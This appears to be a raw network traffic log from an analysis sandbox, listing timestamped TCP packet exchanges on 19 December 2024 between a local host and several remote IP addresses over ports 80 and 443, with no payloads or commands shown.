Dec 19, 2024 16:10:30.564527035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.564575911 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.564623117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.564650059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.564666986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.565481901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.565547943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.565582991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.565620899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.566695929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.566740990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.566764116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.566786051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.567500114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.567615032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.567667961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.568475008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.568540096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.568675995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.568753004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.569422007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.569439888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.569474936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.570353031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.570395947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.570422888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.570466995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.571216106 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.571243048 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.571326017 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.571326017 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.571332932 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.571336985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.571348906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.571379900 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.571389914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.572833061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.572899103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.572952032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.573357105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.573389053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.573401928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.573425055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.574347973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.574361086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.574403048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.575540066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.575551987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.575594902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.577694893 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.577737093 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.577778101 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.577785969 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.577821016 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.577821016 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.578691959 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.664797068 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:30.665298939 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:30.665456057 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.665676117 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.665699959 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:30.665712118 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:30.761413097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.761483908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.761588097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.761629105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.761775017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.761811018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.761987925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.762032986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.762820959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.762862921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.762933016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.762969017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.763775110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.763839006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.764059067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.764102936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.764168024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.764205933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.765041113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.765091896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.765157938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.765194893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.766000032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.766037941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.766163111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.766205072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.767004967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.767098904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.767151117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.768064022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.768110991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.768138885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.768277884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.768944025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.769056082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.769103050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.769217968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.769956112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.770076990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.770117998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.770930052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.770983934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.771023035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.771056890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.771866083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.771907091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.771960020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.772032022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.772849083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.772895098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.772922039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.772954941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.773916006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.773957014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.774107933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.774143934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.774872065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.774950027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.774997950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.775145054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.776099920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.776144981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.776245117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.776279926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.776882887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.776921988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.776993990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.777105093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.777785063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.777868032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.777901888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.778764009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.778845072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.778887033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.779998064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.780049086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.780179024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.780217886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.780766964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.780817986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.780906916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.781008005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.781837940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.781940937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.781966925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.781981945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.782675028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.782725096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.782825947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.782915115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.783647060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.783735037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.783765078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.783826113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.784920931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.784931898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.784986973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.785609007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.785662889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.785671949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.785752058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.786564112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.786616087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.786644936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.786680937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.787662983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.787698030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.787851095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.787889004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.788608074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.788652897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.788717985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.788765907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.789521933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.789560080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.789627075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.789664030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.790530920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.790569067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.790637016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.790673971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.791475058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.791517973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.791590929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.791712046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.792494059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.792642117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.792692900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.793484926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.793540955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.793560982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.793595076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.794595003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.794636011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.794683933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.795409918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.795559883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.795610905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.796389103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.796435118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.796529055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.797369003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.797411919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.797488928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.797617912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.798410892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.798489094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.798533916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.799321890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.799577951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.799606085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.799617052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.800299883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.800389051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.800435066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.801326990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.801363945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.801382065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.801405907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.802309036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.802357912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.802450895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.802509069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.803284883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.803325891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.803453922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.803453922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.804238081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.804274082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.804301023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.804311991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.805284977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.805329084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.805373907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.806174040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.806251049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.806313038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.807178974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.807224035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.807259083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.808125973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.808171988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.808226109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.809179068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.809216022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.809274912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.809365034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.810451984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.810501099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.810605049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.811186075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.811294079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.811338902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.812078953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.812130928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.812176943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.953866005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.953948021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.953955889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.954147100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.954263926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.954319000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.954355001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.955187082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.955235004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.955492973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.955524921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.956156015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.956192017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.956365108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.956398964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.956433058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.956469059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.957289934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.957324982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.957382917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.957421064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.958271980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.958317995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.958337069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.958417892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.959338903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.959378004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.959450960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.959487915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.960323095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.960402012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.960407019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.960436106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.961220980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.961263895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.961400032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.961483955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.962285042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.962363958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.962533951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.962574005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.963144064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.963186979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.963260889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.963309050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.964159012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.964273930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.964325905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.965176105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.965215921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.965254068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.965296984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.966114998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.966159105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.966176033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.966315031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.967082024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.967185974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.967242002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.968049049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.968178034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.968230009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.969068050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.969120979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.969163895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.969206095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.970199108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.970248938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.970484018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.970539093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.971096039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.971143007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.971178055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.971384048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.972053051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.972161055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.972188950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.972228050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.972946882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.973023891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.973232985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.973278046 CET	49881	80	192.168.2.6	31.41.244.11
